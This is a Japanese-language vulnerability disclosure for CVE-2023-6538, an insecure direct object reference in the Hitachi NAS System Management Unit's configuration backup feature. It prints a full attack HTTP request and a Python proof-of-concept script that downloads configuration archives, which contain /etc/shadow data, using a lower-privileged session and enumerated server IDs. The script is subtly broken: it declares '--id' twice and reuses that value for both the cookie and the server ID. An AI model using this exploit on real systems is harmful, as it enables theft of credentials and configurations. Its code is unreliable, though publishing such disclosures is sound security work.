CVE-2023-6538

CVE-2023-6538は、Hitachi NAS（HNAS）のSystem Management Unit（SMU）のConfiguration Backup & Restore機能に見られる安全でない直接オブジェクト参照（IDOR）の脆弱性です。この脆弱性は、14.8.7825.01より前のSMUバージョンに影響します。

悪用

このエクスプロイトを実行するには、攻撃者がRead-OnlyまたはGlobal Administratorではないユーザーアカウントの認証情報を制御している必要があります。すなわち：

Storage Administrator
Server Administrator
Server + Storage Administrator

設計上、Global Administratorロールを持つユーザーは、https://<HOSTNAME/FQDN/IP>/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1にあるSMUのConfiguration Backup & Restore機能にアクセスし、以下のリクエストを送信することで、選択したサーバー（つまりSMUに接続されているサーバー）の設定のバックアップを作成およびダウンロードできます。

GET /mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid=1 HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

リクエストが成功すると、SMUは以下のレスポンスを返し、registry_data.tgzのダウンロードを開始します。

HTTP/1.1 200 
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=registry_data.tgz
Content-Type: application/download
Content-Length: 3169247
Date: Fri, 14 Apr 2023 09:30:03 GMT
Connection: close
Server: SMU

[DATA]

しかし、SMUのビジネスロジックの見落としにより、Storage Administrator、Server Administrator、またはServer + Storage Administratorアカウントにアクセスできる攻撃者は、JSESSIONIDおよびJSESSIONIDSSOクッキーを自分が保持するユーザーのクッキーと一致するように更新でき、設定アーカイブをダウンロードできます。さらに、攻撃者はリクエスト内のserveridパラメータを更新して、SMUに接続されている異なるサーバーの設定アーカイブを列挙およびダウンロードすることもできます。

したがって、CVE-2023-6538.pyのようなスクリプトを使用してこの脆弱性を悪用できます。

#!/usr/bin/python3
#
# Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Configuration Backup & Restore IDOR Vulnerability 
# CVE:              CVE-2023-6538
# Date:             2023-12-13
# Exploit Author:   Arslan Masood (@arszilla)
# Vendor:           https://www.hitachivantara.com/
# Version:          < 14.8.7825.01
# Tested On:        13.9.7021.04     

import argparse
from os import getcwd

import requests

parser = argparse.ArgumentParser(
    description="CVE-2023-6538 PoC",
    usage="./CVE-2023-6538.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
    )

# Create --host argument:
parser.add_argument(
    "--host",
    required=True,
    type=str,
    help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
    )

# Create --id argument:
parser.add_argument(
    "--id",
    required=True,
    type=str,
    help="JSESSIONID cookie value"
    )

# Create --sso argument:
parser.add_argument(
    "--sso",
    required=True,
    type=str,
    help="JSESSIONIDSSO cookie value"
    )

# Create --id argument:
parser.add_argument(
    "--id",
    required=True,
    type=str,
    help="Server ID value"
    )

args = parser.parse_args()

def download_file(hostname, jsessionid, jsessionidsso, serverid):
    # Set the filename:
    filename = "registry_data.tgz"

    # Vulnerable SMU URL:
    smu_url = f"https://{hostname}/mgr/app/template/simple%2CDownloadConfigScreen.vm?serverid={serverid}"

    # GET request cookies
    smu_cookies = {
        "JSESSIONID":       jsessionid,
        "JSESSIONIDSSO":    jsessionidsso
        }

    # GET request headers:
    smu_headers = {
        "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language":              "en-US,en;q=0.5",
        "Accept-Encoding":              "gzip, deflate",
        "Dnt":                          "1",
        "Referer":                      f"https://{hostname}/mgr/app/action/serveradmin.ConfigRestoreAction/eventsubmit_doperform/ignored",
        "Upgrade-Insecure-Requests":    "1",
        "Sec-Fetch-Dest":               "document",
        "Sec-Fetch-Mode":               "navigate",
        "Sec-Fetch-Site":               "same-origin",
        "Sec-Fetch-User":               "?1",
        "Te":                           "trailers",
        "Connection":                   "close"
        }

    # Send the request:
    with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
        with open(filename, 'wb') as backup_archive:
            # Write the zip file to the CWD:
            backup_archive.write(file_download.content)

    print(f"{filename} has been downloaded to {getcwd()}")

if __name__ == "__main__":
    download_file(args.host, args.id, args.sso, args.id)

CVSS v3.1スコア7.6の根拠は、registry_data.tgzを調べることでさらに理解できます。

$ tree -a
.
├── backup.properties
├── registry5.11.db1
├── registry5.13.db1
├── registry5.14.db1
├── registry5.15.db1
├── registry5.1.db1
├── registry5.2.db1
├── registry5.3.db1
├── registry5.4.db1
├── registry5.5.db1
├── registry5.6.db1
├── registry5.7.db1
├── registry5.8.db1
└── registry5.db1

1 directory, 14 files

.tgzアーカイブには、SMUに接続されているサーバーに関するさまざまな設定と情報が含まれています。

registry5

上記の編集された画像に見られるように、registry5.db1には、選択したサーバーの/etc/shadowの内容（正規表現で見つかったもの）が含まれています。

注意事項

この脆弱性は、CVE-2023-5808の「姉妹脆弱性」です。

参照

タイムライン

2020-04-12 - 脆弱性発見
2023-04-20 - 脆弱性を[email protected]に報告
2023-08-11 - 初回CVE番号割り当て
2023-12-06 - CVE番号再割り当て
2023-12-11 - CVE番号再割り当て
2023-12-11 - CVE公開
2023-12-13 - 公開開示

CVE-2023-6538

人気

CVE-2023-6538

悪用

注意事項

参照

タイムライン